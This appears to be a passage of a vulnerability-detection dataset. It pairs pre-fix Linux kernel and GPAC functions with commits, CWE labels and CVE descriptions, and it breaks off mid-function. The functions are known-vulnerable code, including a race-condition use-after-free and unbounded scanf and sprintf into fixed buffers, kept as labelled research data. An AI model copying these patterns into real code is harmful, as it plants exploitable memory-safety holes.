Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com> | 1 | static void smp_task_timedout(struct timer_list *t)
{
struct sas_task_slow *slow = from_timer(slow, t, timer);
struct sas_task *task = slow->task;
unsigned long flags;
spin_lock_irqsave(&task->task_state_lock, flags);
if (!(task->task_state_flags & SAS_TASK_STATE_DONE))
task->task_state_flags |= SAS_TASK_STATE_ABORTED;
spin_unlock_irqrestore(&task->task_state_lock, flags);
complete(&task->slow_task->completion);
}
| 300,277,114,529,588,760,000,000,000,000,000,000,000 | sas_expander.c | 251,418,024,640,382,320,000,000,000,000,000,000,000 | [
"CWE-416"
] | CVE-2018-20836 | An issue was discovered in the Linux kernel before 4.20. There is a race condition in smp_task_timedout() and smp_task_done() in drivers/scsi/libsas/sas_expander.c, leading to a use-after-free. | https://nvd.nist.gov/vuln/detail/CVE-2018-20836 |
4,141 | linux | c40f7d74c741a907cfaeb73a7697081881c497d0 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/c40f7d74c741a907cfaeb73a7697081881c497d0 | sched/fair: Fix infinite loop in update_blocked_averages() by reverting a9e7f6544b9c
Zhipeng Xie, Xie XiuQi and Sargun Dhillon reported lockups in the
scheduler under high loads, starting at around the v4.18 time frame,
and Zhipeng Xie tracked it down to bugs in the rq->leaf_cfs_rq_list
manipulation.
Do a (manual) revert of:
a9e7f6544b9c ("sched/fair: Fix O(nr_cgroups) in load balance path")
It turns out that the list_del_leaf_cfs_rq() introduced by this commit
is a surprising property that was not considered in followup commits
such as:
9c2791f936ef ("sched/fair: Fix hierarchical order in rq->leaf_cfs_rq_list")
As Vincent Guittot explains:
"I think that there is a bigger problem with commit a9e7f6544b9c and
cfs_rq throttling:
Let take the example of the following topology TG2 --> TG1 --> root:
1) The 1st time a task is enqueued, we will add TG2 cfs_rq then TG1
cfs_rq to leaf_cfs_rq_list and we are sure to do the whole branch in
one path because it has never been used and can't be throttled so
tmp_alone_branch will point to leaf_cfs_rq_list at the end.
2) Then TG1 is throttled
3) and we add TG3 as a new child of TG1.
4) The 1st enqueue of a task on TG3 will add TG3 cfs_rq just before TG1
cfs_rq and tmp_alone_branch will stay on rq->leaf_cfs_rq_list.
With commit a9e7f6544b9c, we can del a cfs_rq from rq->leaf_cfs_rq_list.
So if the load of TG1 cfs_rq becomes NULL before step 2) above, TG1
cfs_rq is removed from the list.
Then at step 4), TG3 cfs_rq is added at the beginning of rq->leaf_cfs_rq_list
but tmp_alone_branch still points to TG3 cfs_rq because its throttled
parent can't be enqueued when the lock is released.
tmp_alone_branch doesn't point to rq->leaf_cfs_rq_list whereas it should.
So if TG3 cfs_rq is removed or destroyed before tmp_alone_branch
points on another TG cfs_rq, the next TG cfs_rq that will be added,
will be linked outside rq->leaf_cfs_rq_list - which is bad.
In addition, we can break the ordering of the cfs_rq in
rq->leaf_cfs_rq_list but this ordering is used to update and
propagate the update from leaf down to root."
Instead of trying to work through all these cases and trying to reproduce
the very high loads that produced the lockup to begin with, simplify
the code temporarily by reverting a9e7f6544b9c - which change was clearly
not thought through completely.
This (hopefully) gives us a kernel that doesn't lock up so people
can continue to enjoy their holidays without worrying about regressions. ;-)
[ mingo: Wrote changelog, fixed weird spelling in code comment while at it. ]
Analyzed-by: Xie XiuQi <xiexiuqi@huawei.com>
Analyzed-by: Vincent Guittot <vincent.guittot@linaro.org>
Reported-by: Zhipeng Xie <xiezhipeng1@huawei.com>
Reported-by: Sargun Dhillon <sargun@sargun.me>
Reported-by: Xie XiuQi <xiexiuqi@huawei.com>
Tested-by: Zhipeng Xie <xiezhipeng1@huawei.com>
Tested-by: Sargun Dhillon <sargun@sargun.me>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Acked-by: Vincent Guittot <vincent.guittot@linaro.org>
Cc: <stable@vger.kernel.org> # v4.13+
Cc: Bin Li <huawei.libin@huawei.com>
Cc: Mike Galbraith <efault@gmx.de>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Tejun Heo <tj@kernel.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Fixes: a9e7f6544b9c ("sched/fair: Fix O(nr_cgroups) in load balance path")
Link: http://lkml.kernel.org/r/1545879866-27809-1-git-send-email-xiexiuqi@huawei.com
Signed-off-by: Ingo Molnar <mingo@kernel.org> | 1 | static void update_blocked_averages(int cpu)
{
struct rq *rq = cpu_rq(cpu);
struct cfs_rq *cfs_rq, *pos;
const struct sched_class *curr_class;
struct rq_flags rf;
bool done = true;
rq_lock_irqsave(rq, &rf);
update_rq_clock(rq);
/*
* Iterates the task_group tree in a bottom up fashion, see
* list_add_leaf_cfs_rq() for details.
*/
for_each_leaf_cfs_rq_safe(rq, cfs_rq, pos) {
struct sched_entity *se;
/* throttled entities do not contribute to load */
if (throttled_hierarchy(cfs_rq))
continue;
if (update_cfs_rq_load_avg(cfs_rq_clock_task(cfs_rq), cfs_rq))
update_tg_load_avg(cfs_rq, 0);
/* Propagate pending load changes to the parent, if any: */
se = cfs_rq->tg->se[cpu];
if (se && !skip_blocked_update(se))
update_load_avg(cfs_rq_of(se), se, 0);
/*
* There can be a lot of idle CPU cgroups. Don't let fully
* decayed cfs_rqs linger on the list.
*/
if (cfs_rq_is_decayed(cfs_rq))
list_del_leaf_cfs_rq(cfs_rq);
/* Don't need periodic decay once load/util_avg are null */
if (cfs_rq_has_blocked(cfs_rq))
done = false;
}
curr_class = rq->curr->sched_class;
update_rt_rq_load_avg(rq_clock_task(rq), rq, curr_class == &rt_sched_class);
update_dl_rq_load_avg(rq_clock_task(rq), rq, curr_class == &dl_sched_class);
update_irq_load_avg(rq, 0);
/* Don't need periodic decay once load/util_avg are null */
if (others_have_blocked(rq))
done = false;
#ifdef CONFIG_NO_HZ_COMMON
rq->last_blocked_load_update_tick = jiffies;
if (done)
rq->has_blocked_load = 0;
#endif
rq_unlock_irqrestore(rq, &rf);
}
| 242,733,069,005,675,960,000,000,000,000,000,000,000 | fair.c | 71,919,484,539,312,920,000,000,000,000,000,000,000 | [
"CWE-400"
] | CVE-2018-20784 | In the Linux kernel before 4.20.2, kernel/sched/fair.c mishandles leaf cfs_rq's, which allows attackers to cause a denial of service (infinite loop in update_blocked_averages) or possibly have unspecified other impact by inducing a high load. | https://nvd.nist.gov/vuln/detail/CVE-2018-20784 |
4,142 | gpac | 1c449a34fe0b50aaffb881bfb9d7c5ab0bb18cdd | https://github.com/gpac/gpac | https://github.com/gpac/gpac/commit/1c449a34fe0b50aaffb881bfb9d7c5ab0bb18cdd | add some boundary checks on gf_text_get_utf8_line (#1188) | 1 | int mp4client_main(int argc, char **argv)
{
char c;
const char *str;
int ret_val = 0;
u32 i, times[100], nb_times, dump_mode;
u32 simulation_time_in_ms = 0;
u32 initial_service_id = 0;
Bool auto_exit = GF_FALSE;
Bool logs_set = GF_FALSE;
Bool start_fs = GF_FALSE;
Bool use_rtix = GF_FALSE;
Bool pause_at_first = GF_FALSE;
Bool no_cfg_save = GF_FALSE;
Bool is_cfg_only = GF_FALSE;
Double play_from = 0;
#ifdef GPAC_MEMORY_TRACKING
GF_MemTrackerType mem_track = GF_MemTrackerNone;
#endif
Double fps = GF_IMPORT_DEFAULT_FPS;
Bool fill_ar, visible, do_uncache, has_command;
char *url_arg, *out_arg, *the_cfg, *rti_file, *views, *mosaic;
FILE *logfile = NULL;
Float scale = 1;
#ifndef WIN32
dlopen(NULL, RTLD_NOW|RTLD_GLOBAL);
#endif
/*by default use current dir*/
strcpy(the_url, ".");
memset(&user, 0, sizeof(GF_User));
dump_mode = DUMP_NONE;
fill_ar = visible = do_uncache = has_command = GF_FALSE;
url_arg = out_arg = the_cfg = rti_file = views = mosaic = NULL;
nb_times = 0;
times[0] = 0;
/*first locate config file if specified*/
for (i=1; i<(u32) argc; i++) {
char *arg = argv[i];
if (!strcmp(arg, "-c") || !strcmp(arg, "-cfg")) {
the_cfg = argv[i+1];
i++;
}
else if (!strcmp(arg, "-mem-track") || !strcmp(arg, "-mem-track-stack")) {
#ifdef GPAC_MEMORY_TRACKING
mem_track = !strcmp(arg, "-mem-track-stack") ? GF_MemTrackerBackTrace : GF_MemTrackerSimple;
#else
fprintf(stderr, "WARNING - GPAC not compiled with Memory Tracker - ignoring \"%s\"\n", arg);
#endif
} else if (!strcmp(arg, "-gui")) {
gui_mode = 1;
} else if (!strcmp(arg, "-guid")) {
gui_mode = 2;
} else if (!strcmp(arg, "-h") || !strcmp(arg, "-help")) {
PrintUsage();
return 0;
}
}
#ifdef GPAC_MEMORY_TRACKING
gf_sys_init(mem_track);
#else
gf_sys_init(GF_MemTrackerNone);
#endif
gf_sys_set_args(argc, (const char **) argv);
cfg_file = gf_cfg_init(the_cfg, NULL);
if (!cfg_file) {
fprintf(stderr, "Error: Configuration File not found\n");
return 1;
}
/*if logs are specified, use them*/
if (gf_log_set_tools_levels( gf_cfg_get_key(cfg_file, "General", "Logs") ) != GF_OK) {
return 1;
}
if( gf_cfg_get_key(cfg_file, "General", "Logs") != NULL ) {
logs_set = GF_TRUE;
}
if (!gui_mode) {
str = gf_cfg_get_key(cfg_file, "General", "ForceGUI");
if (str && !strcmp(str, "yes")) gui_mode = 1;
}
for (i=1; i<(u32) argc; i++) {
char *arg = argv[i];
if (!strcmp(arg, "-rti")) {
rti_file = argv[i+1];
i++;
} else if (!strcmp(arg, "-rtix")) {
rti_file = argv[i+1];
i++;
use_rtix = GF_TRUE;
} else if (!stricmp(arg, "-size")) {
/*usage of %ud breaks sscanf on MSVC*/
if (sscanf(argv[i+1], "%dx%d", &forced_width, &forced_height) != 2) {
forced_width = forced_height = 0;
}
i++;
} else if (!strcmp(arg, "-quiet")) {
be_quiet = 1;
} else if (!strcmp(arg, "-strict-error")) {
gf_log_set_strict_error(1);
} else if (!strcmp(arg, "-log-file") || !strcmp(arg, "-lf")) {
logfile = gf_fopen(argv[i+1], "wt");
gf_log_set_callback(logfile, on_gpac_log);
i++;
} else if (!strcmp(arg, "-logs") ) {
if (gf_log_set_tools_levels(argv[i+1]) != GF_OK) {
return 1;
}
logs_set = GF_TRUE;
i++;
} else if (!strcmp(arg, "-log-clock") || !strcmp(arg, "-lc")) {
log_time_start = 1;
} else if (!strcmp(arg, "-log-utc") || !strcmp(arg, "-lu")) {
log_utc_time = 1;
}
#if defined(__DARWIN__) || defined(__APPLE__)
else if (!strcmp(arg, "-thread")) threading_flags = 0;
#else
else if (!strcmp(arg, "-no-thread")) threading_flags = GF_TERM_NO_DECODER_THREAD | GF_TERM_NO_COMPOSITOR_THREAD | GF_TERM_WINDOW_NO_THREAD;
#endif
else if (!strcmp(arg, "-no-cthread") || !strcmp(arg, "-no-compositor-thread")) threading_flags |= GF_TERM_NO_COMPOSITOR_THREAD;
else if (!strcmp(arg, "-no-audio")) no_audio = 1;
else if (!strcmp(arg, "-no-regulation")) no_regulation = 1;
else if (!strcmp(arg, "-fs")) start_fs = 1;
else if (!strcmp(arg, "-opt")) {
set_cfg_option(argv[i+1]);
i++;
} else if (!strcmp(arg, "-conf")) {
set_cfg_option(argv[i+1]);
is_cfg_only=GF_TRUE;
i++;
}
else if (!strcmp(arg, "-ifce")) {
gf_cfg_set_key(cfg_file, "Network", "DefaultMCastInterface", argv[i+1]);
i++;
}
else if (!stricmp(arg, "-help")) {
PrintUsage();
return 1;
}
else if (!stricmp(arg, "-noprog")) {
no_prog=1;
gf_set_progress_callback(NULL, progress_quiet);
}
else if (!stricmp(arg, "-no-save") || !stricmp(arg, "--no-save") /*old versions used --n-save ...*/) {
no_cfg_save=1;
}
else if (!stricmp(arg, "-ntp-shift")) {
s32 shift = atoi(argv[i+1]);
i++;
gf_net_set_ntp_shift(shift);
}
else if (!stricmp(arg, "-run-for")) {
simulation_time_in_ms = atoi(argv[i+1]) * 1000;
if (!simulation_time_in_ms)
simulation_time_in_ms = 1; /*1ms*/
i++;
}
else if (!strcmp(arg, "-out")) {
out_arg = argv[i+1];
i++;
}
else if (!stricmp(arg, "-fps")) {
fps = atof(argv[i+1]);
i++;
} else if (!strcmp(arg, "-avi") || !strcmp(arg, "-sha")) {
dump_mode &= 0xFFFF0000;
if (!strcmp(arg, "-sha")) dump_mode |= DUMP_SHA1;
else dump_mode |= DUMP_AVI;
if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) {
if (!strcmp(arg, "-avi") && (nb_times!=2) ) {
fprintf(stderr, "Only one time arg found for -avi - check usage\n");
return 1;
}
i++;
}
} else if (!strcmp(arg, "-rgbds")) { /*get dump in rgbds pixel format*/
dump_mode |= DUMP_RGB_DEPTH_SHAPE;
} else if (!strcmp(arg, "-rgbd")) { /*get dump in rgbd pixel format*/
dump_mode |= DUMP_RGB_DEPTH;
} else if (!strcmp(arg, "-depth")) {
dump_mode |= DUMP_DEPTH_ONLY;
} else if (!strcmp(arg, "-bmp")) {
dump_mode &= 0xFFFF0000;
dump_mode |= DUMP_BMP;
if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) i++;
} else if (!strcmp(arg, "-png")) {
dump_mode &= 0xFFFF0000;
dump_mode |= DUMP_PNG;
if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) i++;
} else if (!strcmp(arg, "-raw")) {
dump_mode &= 0xFFFF0000;
dump_mode |= DUMP_RAW;
if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) i++;
} else if (!stricmp(arg, "-scale")) {
sscanf(argv[i+1], "%f", &scale);
i++;
}
else if (!strcmp(arg, "-c") || !strcmp(arg, "-cfg")) {
/* already parsed */
i++;
}
/*arguments only used in non-gui mode*/
if (!gui_mode) {
if (arg[0] != '-') {
if (url_arg) {
fprintf(stderr, "Several input URLs provided (\"%s\", \"%s\"). Check your command-line.\n", url_arg, arg);
return 1;
}
url_arg = arg;
}
else if (!strcmp(arg, "-loop")) loop_at_end = 1;
else if (!strcmp(arg, "-bench")) bench_mode = 1;
else if (!strcmp(arg, "-vbench")) bench_mode = 2;
else if (!strcmp(arg, "-sbench")) bench_mode = 3;
else if (!strcmp(arg, "-no-addon")) enable_add_ons = GF_FALSE;
else if (!strcmp(arg, "-pause")) pause_at_first = 1;
else if (!strcmp(arg, "-play-from")) {
play_from = atof((const char *) argv[i+1]);
i++;
}
else if (!strcmp(arg, "-speed")) {
playback_speed = FLT2FIX( atof((const char *) argv[i+1]) );
if (playback_speed <= 0) playback_speed = FIX_ONE;
i++;
}
else if (!strcmp(arg, "-no-wnd")) user.init_flags |= GF_TERM_WINDOWLESS;
else if (!strcmp(arg, "-no-back")) user.init_flags |= GF_TERM_WINDOW_TRANSPARENT;
else if (!strcmp(arg, "-align")) {
if (argv[i+1][0]=='m') align_mode = 1;
else if (argv[i+1][0]=='b') align_mode = 2;
align_mode <<= 8;
if (argv[i+1][1]=='m') align_mode |= 1;
else if (argv[i+1][1]=='r') align_mode |= 2;
i++;
} else if (!strcmp(arg, "-fill")) {
fill_ar = GF_TRUE;
} else if (!strcmp(arg, "-show")) {
visible = 1;
} else if (!strcmp(arg, "-uncache")) {
do_uncache = GF_TRUE;
}
else if (!strcmp(arg, "-exit")) auto_exit = GF_TRUE;
else if (!stricmp(arg, "-views")) {
views = argv[i+1];
i++;
}
else if (!stricmp(arg, "-mosaic")) {
mosaic = argv[i+1];
i++;
}
else if (!stricmp(arg, "-com")) {
has_command = GF_TRUE;
i++;
}
else if (!stricmp(arg, "-service")) {
initial_service_id = atoi(argv[i+1]);
i++;
}
}
}
if (is_cfg_only) {
gf_cfg_del(cfg_file);
fprintf(stderr, "GPAC Config updated\n");
return 0;
}
if (do_uncache) {
const char *cache_dir = gf_cfg_get_key(cfg_file, "General", "CacheDirectory");
do_flatten_cache(cache_dir);
fprintf(stderr, "GPAC Cache dir %s flattened\n", cache_dir);
gf_cfg_del(cfg_file);
return 0;
}
if (dump_mode && !url_arg ) {
FILE *test;
url_arg = (char *)gf_cfg_get_key(cfg_file, "General", "StartupFile");
test = url_arg ? gf_fopen(url_arg, "rt") : NULL;
if (!test) url_arg = NULL;
else gf_fclose(test);
if (!url_arg) {
fprintf(stderr, "Missing argument for dump\n");
PrintUsage();
if (logfile) gf_fclose(logfile);
return 1;
}
}
if (!gui_mode && !url_arg && (gf_cfg_get_key(cfg_file, "General", "StartupFile") != NULL)) {
gui_mode=1;
}
#ifdef WIN32
if (gui_mode==1) {
const char *opt;
TCHAR buffer[1024];
DWORD res = GetCurrentDirectory(1024, buffer);
buffer[res] = 0;
opt = gf_cfg_get_key(cfg_file, "General", "ModulesDirectory");
if (strstr(opt, buffer)) {
gui_mode=1;
} else {
gui_mode=2;
}
}
#endif
if (gui_mode==1) {
hide_shell(1);
}
if (gui_mode) {
no_prog=1;
gf_set_progress_callback(NULL, progress_quiet);
}
if (!url_arg && simulation_time_in_ms)
simulation_time_in_ms += gf_sys_clock();
#if defined(__DARWIN__) || defined(__APPLE__)
carbon_init();
#endif
if (dump_mode) rti_file = NULL;
if (!logs_set) {
gf_log_set_tool_level(GF_LOG_ALL, GF_LOG_WARNING);
}
if (rti_file || logfile || log_utc_time || log_time_start)
gf_log_set_callback(NULL, on_gpac_log);
if (rti_file) init_rti_logs(rti_file, url_arg, use_rtix);
{
GF_SystemRTInfo rti;
if (gf_sys_get_rti(0, &rti, 0))
fprintf(stderr, "System info: %d MB RAM - %d cores\n", (u32) (rti.physical_memory/1024/1024), rti.nb_cores);
}
/*setup dumping options*/
if (dump_mode) {
user.init_flags |= GF_TERM_NO_DECODER_THREAD | GF_TERM_NO_COMPOSITOR_THREAD | GF_TERM_NO_REGULATION;
if (!visible)
user.init_flags |= GF_TERM_INIT_HIDE;
gf_cfg_set_key(cfg_file, "Audio", "DriverName", "Raw Audio Output");
no_cfg_save=GF_TRUE;
} else {
init_w = forced_width;
init_h = forced_height;
}
user.modules = gf_modules_new(NULL, cfg_file);
if (user.modules) i = gf_modules_get_count(user.modules);
if (!i || !user.modules) {
fprintf(stderr, "Error: no modules found - exiting\n");
if (user.modules) gf_modules_del(user.modules);
gf_cfg_del(cfg_file);
gf_sys_close();
if (logfile) gf_fclose(logfile);
return 1;
}
fprintf(stderr, "Modules Found : %d \n", i);
str = gf_cfg_get_key(cfg_file, "General", "GPACVersion");
if (!str || strcmp(str, GPAC_FULL_VERSION)) {
gf_cfg_del_section(cfg_file, "PluginsCache");
gf_cfg_set_key(cfg_file, "General", "GPACVersion", GPAC_FULL_VERSION);
}
user.config = cfg_file;
user.EventProc = GPAC_EventProc;
/*dummy in this case (global vars) but MUST be non-NULL*/
user.opaque = user.modules;
if (threading_flags) user.init_flags |= threading_flags;
if (no_audio) user.init_flags |= GF_TERM_NO_AUDIO;
if (no_regulation) user.init_flags |= GF_TERM_NO_REGULATION;
if (threading_flags & (GF_TERM_NO_DECODER_THREAD|GF_TERM_NO_COMPOSITOR_THREAD) ) term_step = GF_TRUE;
if (dump_mode) user.init_flags |= GF_TERM_USE_AUDIO_HW_CLOCK;
if (bench_mode) {
gf_cfg_discard_changes(user.config);
auto_exit = GF_TRUE;
gf_cfg_set_key(user.config, "Audio", "DriverName", "Raw Audio Output");
if (bench_mode!=2) {
gf_cfg_set_key(user.config, "Video", "DriverName", "Raw Video Output");
gf_cfg_set_key(user.config, "RAWVideo", "RawOutput", "null");
gf_cfg_set_key(user.config, "Compositor", "OpenGLMode", "disable");
} else {
gf_cfg_set_key(user.config, "Video", "DisableVSync", "yes");
}
}
{
char dim[50];
sprintf(dim, "%d", forced_width);
gf_cfg_set_key(user.config, "Compositor", "DefaultWidth", forced_width ? dim : NULL);
sprintf(dim, "%d", forced_height);
gf_cfg_set_key(user.config, "Compositor", "DefaultHeight", forced_height ? dim : NULL);
}
fprintf(stderr, "Loading GPAC Terminal\n");
i = gf_sys_clock();
term = gf_term_new(&user);
if (!term) {
fprintf(stderr, "\nInit error - check you have at least one video out and one rasterizer...\nFound modules:\n");
list_modules(user.modules);
gf_modules_del(user.modules);
gf_cfg_discard_changes(cfg_file);
gf_cfg_del(cfg_file);
gf_sys_close();
if (logfile) gf_fclose(logfile);
return 1;
}
fprintf(stderr, "Terminal Loaded in %d ms\n", gf_sys_clock()-i);
if (bench_mode) {
display_rti = 2;
gf_term_set_option(term, GF_OPT_VIDEO_BENCH, (bench_mode==3) ? 2 : 1);
if (bench_mode==1) bench_mode=2;
}
if (dump_mode) {
if (fill_ar) gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_FILL_SCREEN);
} else {
/*check video output*/
str = gf_cfg_get_key(cfg_file, "Video", "DriverName");
if (!bench_mode && !strcmp(str, "Raw Video Output")) fprintf(stderr, "WARNING: using raw output video (memory only) - no display used\n");
/*check audio output*/
str = gf_cfg_get_key(cfg_file, "Audio", "DriverName");
if (!str || !strcmp(str, "No Audio Output Available")) fprintf(stderr, "WARNING: no audio output available - make sure no other program is locking the sound card\n");
str = gf_cfg_get_key(cfg_file, "General", "NoMIMETypeFetch");
no_mime_check = (str && !stricmp(str, "yes")) ? 1 : 0;
}
str = gf_cfg_get_key(cfg_file, "HTTPProxy", "Enabled");
if (str && !strcmp(str, "yes")) {
str = gf_cfg_get_key(cfg_file, "HTTPProxy", "Name");
if (str) fprintf(stderr, "HTTP Proxy %s enabled\n", str);
}
if (rti_file) {
str = gf_cfg_get_key(cfg_file, "General", "RTIRefreshPeriod");
if (str) {
rti_update_time_ms = atoi(str);
} else {
gf_cfg_set_key(cfg_file, "General", "RTIRefreshPeriod", "200");
}
UpdateRTInfo("At GPAC load time\n");
}
Run = 1;
if (dump_mode) {
if (!nb_times) {
times[0] = 0;
nb_times++;
}
ret_val = dump_file(url_arg, out_arg, dump_mode, fps, forced_width, forced_height, scale, times, nb_times);
Run = 0;
}
else if (views) {
}
/*connect if requested*/
else if (!gui_mode && url_arg) {
char *ext;
if (strlen(url_arg) >= sizeof(the_url)) {
fprintf(stderr, "Input url %s is too long, truncating to %d chars.\n", url_arg, (int)(sizeof(the_url) - 1));
strncpy(the_url, url_arg, sizeof(the_url)-1);
the_url[sizeof(the_url) - 1] = 0;
}
else {
strcpy(the_url, url_arg);
}
ext = strrchr(the_url, '.');
if (ext && (!stricmp(ext, ".m3u") || !stricmp(ext, ".pls"))) {
GF_Err e = GF_OK;
fprintf(stderr, "Opening Playlist %s\n", the_url);
strcpy(pl_path, the_url);
/*this is not clean, we need to have a plugin handle playlist for ourselves*/
if (!strncmp("http:", the_url, 5)) {
GF_DownloadSession *sess = gf_dm_sess_new(term->downloader, the_url, GF_NETIO_SESSION_NOT_THREADED, NULL, NULL, &e);
if (sess) {
e = gf_dm_sess_process(sess);
if (!e) {
strncpy(the_url, gf_dm_sess_get_cache_name(sess), sizeof(the_url) - 1);
the_url[sizeof(the_cfg) - 1] = 0;
}
gf_dm_sess_del(sess);
}
}
playlist = e ? NULL : gf_fopen(the_url, "rt");
readonly_playlist = 1;
if (playlist) {
request_next_playlist_item = GF_TRUE;
} else {
if (e)
fprintf(stderr, "Failed to open playlist %s: %s\n", the_url, gf_error_to_string(e) );
fprintf(stderr, "Hit 'h' for help\n\n");
}
} else {
fprintf(stderr, "Opening URL %s\n", the_url);
if (pause_at_first) fprintf(stderr, "[Status: Paused]\n");
gf_term_connect_from_time(term, the_url, (u64) (play_from*1000), pause_at_first);
}
} else {
fprintf(stderr, "Hit 'h' for help\n\n");
str = gf_cfg_get_key(cfg_file, "General", "StartupFile");
if (str) {
strncpy(the_url, "MP4Client "GPAC_FULL_VERSION , sizeof(the_url)-1);
the_url[sizeof(the_url) - 1] = 0;
gf_term_connect(term, str);
startup_file = 1;
is_connected = 1;
}
}
if (gui_mode==2) gui_mode=0;
if (start_fs) gf_term_set_option(term, GF_OPT_FULLSCREEN, 1);
if (views) {
char szTemp[4046];
sprintf(szTemp, "views://%s", views);
gf_term_connect(term, szTemp);
}
if (mosaic) {
char szTemp[4046];
sprintf(szTemp, "mosaic://%s", mosaic);
gf_term_connect(term, szTemp);
}
if (bench_mode) {
rti_update_time_ms = 500;
bench_mode_start = gf_sys_clock();
}
while (Run) {
/*we don't want getchar to block*/
if ((gui_mode==1) || !gf_prompt_has_input()) {
if (reload) {
reload = 0;
gf_term_disconnect(term);
gf_term_connect(term, startup_file ? gf_cfg_get_key(cfg_file, "General", "StartupFile") : the_url);
}
if (restart && gf_term_get_option(term, GF_OPT_IS_OVER)) {
restart = 0;
gf_term_play_from_time(term, 0, 0);
}
if (request_next_playlist_item) {
c = '\n';
request_next_playlist_item = 0;
goto force_input;
}
if (has_command && is_connected) {
has_command = GF_FALSE;
for (i=0; i<(u32)argc; i++) {
if (!strcmp(argv[i], "-com")) {
gf_term_scene_update(term, NULL, argv[i+1]);
i++;
}
}
}
if (initial_service_id && is_connected) {
GF_ObjectManager *root_od = gf_term_get_root_object(term);
if (root_od) {
gf_term_select_service(term, root_od, initial_service_id);
initial_service_id = 0;
}
}
if (!use_rtix || display_rti) UpdateRTInfo(NULL);
if (term_step) {
gf_term_process_step(term);
} else {
gf_sleep(rti_update_time_ms);
}
if (auto_exit && eos_seen && gf_term_get_option(term, GF_OPT_IS_OVER)) {
Run = GF_FALSE;
}
/*sim time*/
if (simulation_time_in_ms
&& ( (gf_term_get_elapsed_time_in_ms(term)>simulation_time_in_ms) || (!url_arg && gf_sys_clock()>simulation_time_in_ms))
) {
Run = GF_FALSE;
}
continue;
}
c = gf_prompt_get_char();
force_input:
switch (c) {
case 'q':
{
GF_Event evt;
memset(&evt, 0, sizeof(GF_Event));
evt.type = GF_EVENT_QUIT;
gf_term_send_event(term, &evt);
}
break;
case 'X':
exit(0);
break;
case 'Q':
break;
case 'o':
startup_file = 0;
gf_term_disconnect(term);
fprintf(stderr, "Enter the absolute URL\n");
if (1 > scanf("%s", the_url)) {
fprintf(stderr, "Cannot read absolute URL, aborting\n");
break;
}
if (rti_file) init_rti_logs(rti_file, the_url, use_rtix);
gf_term_connect(term, the_url);
break;
case 'O':
gf_term_disconnect(term);
fprintf(stderr, "Enter the absolute URL to the playlist\n");
if (1 > scanf("%s", the_url)) {
fprintf(stderr, "Cannot read the absolute URL, aborting.\n");
break;
}
playlist = gf_fopen(the_url, "rt");
if (playlist) {
if (1 > fscanf(playlist, "%s", the_url)) {
fprintf(stderr, "Cannot read any URL from playlist, aborting.\n");
gf_fclose( playlist);
break;
}
fprintf(stderr, "Opening URL %s\n", the_url);
gf_term_connect(term, the_url);
}
break;
case '\n':
case 'N':
if (playlist) {
int res;
gf_term_disconnect(term);
res = fscanf(playlist, "%s", the_url);
if ((res == EOF) && loop_at_end) {
fseek(playlist, 0, SEEK_SET);
res = fscanf(playlist, "%s", the_url);
}
if (res == EOF) {
fprintf(stderr, "No more items - exiting\n");
Run = 0;
} else if (the_url[0] == '#') {
request_next_playlist_item = GF_TRUE;
} else {
fprintf(stderr, "Opening URL %s\n", the_url);
gf_term_connect_with_path(term, the_url, pl_path);
}
}
break;
case 'P':
if (playlist) {
u32 count;
gf_term_disconnect(term);
if (1 > scanf("%u", &count)) {
fprintf(stderr, "Cannot read number, aborting.\n");
break;
}
while (count) {
if (fscanf(playlist, "%s", the_url)) {
fprintf(stderr, "Failed to read line, aborting\n");
break;
}
count--;
}
fprintf(stderr, "Opening URL %s\n", the_url);
gf_term_connect(term, the_url);
}
break;
case 'r':
if (is_connected)
reload = 1;
break;
case 'D':
if (is_connected) gf_term_disconnect(term);
break;
case 'p':
if (is_connected) {
Bool is_pause = gf_term_get_option(term, GF_OPT_PLAY_STATE);
fprintf(stderr, "[Status: %s]\n", is_pause ? "Playing" : "Paused");
gf_term_set_option(term, GF_OPT_PLAY_STATE, is_pause ? GF_STATE_PLAYING : GF_STATE_PAUSED);
}
break;
case 's':
if (is_connected) {
gf_term_set_option(term, GF_OPT_PLAY_STATE, GF_STATE_STEP_PAUSE);
fprintf(stderr, "Step time: ");
PrintTime(gf_term_get_time_in_ms(term));
fprintf(stderr, "\n");
}
break;
case 'z':
case 'T':
if (!CanSeek || (Duration<=2000)) {
fprintf(stderr, "scene not seekable\n");
} else {
Double res;
s32 seekTo;
fprintf(stderr, "Duration: ");
PrintTime(Duration);
res = gf_term_get_time_in_ms(term);
if (c=='z') {
res *= 100;
res /= (s64)Duration;
fprintf(stderr, " (current %.2f %%)\nEnter Seek percentage:\n", res);
if (scanf("%d", &seekTo) == 1) {
if (seekTo > 100) seekTo = 100;
res = (Double)(s64)Duration;
res /= 100;
res *= seekTo;
gf_term_play_from_time(term, (u64) (s64) res, 0);
}
} else {
u32 r, h, m, s;
fprintf(stderr, " - Current Time: ");
PrintTime((u64) res);
fprintf(stderr, "\nEnter seek time (Format: s, m:s or h:m:s):\n");
h = m = s = 0;
r =scanf("%d:%d:%d", &h, &m, &s);
if (r==2) {
s = m;
m = h;
h = 0;
}
else if (r==1) {
s = h;
m = h = 0;
}
if (r && (r<=3)) {
u64 time = h*3600 + m*60 + s;
gf_term_play_from_time(term, time*1000, 0);
}
}
}
break;
case 't':
{
if (is_connected) {
fprintf(stderr, "Current Time: ");
PrintTime(gf_term_get_time_in_ms(term));
fprintf(stderr, " - Duration: ");
PrintTime(Duration);
fprintf(stderr, "\n");
}
}
break;
case 'w':
if (is_connected) PrintWorldInfo(term);
break;
case 'v':
if (is_connected) PrintODList(term, NULL, 0, 0, "Root");
break;
case 'i':
if (is_connected) {
u32 ID;
fprintf(stderr, "Enter OD ID (0 for main OD): ");
fflush(stderr);
if (scanf("%ud", &ID) == 1) {
ViewOD(term, ID, (u32)-1, NULL);
} else {
char str_url[GF_MAX_PATH];
if (scanf("%s", str_url) == 1)
ViewOD(term, 0, (u32)-1, str_url);
}
}
break;
case 'j':
if (is_connected) {
u32 num;
do {
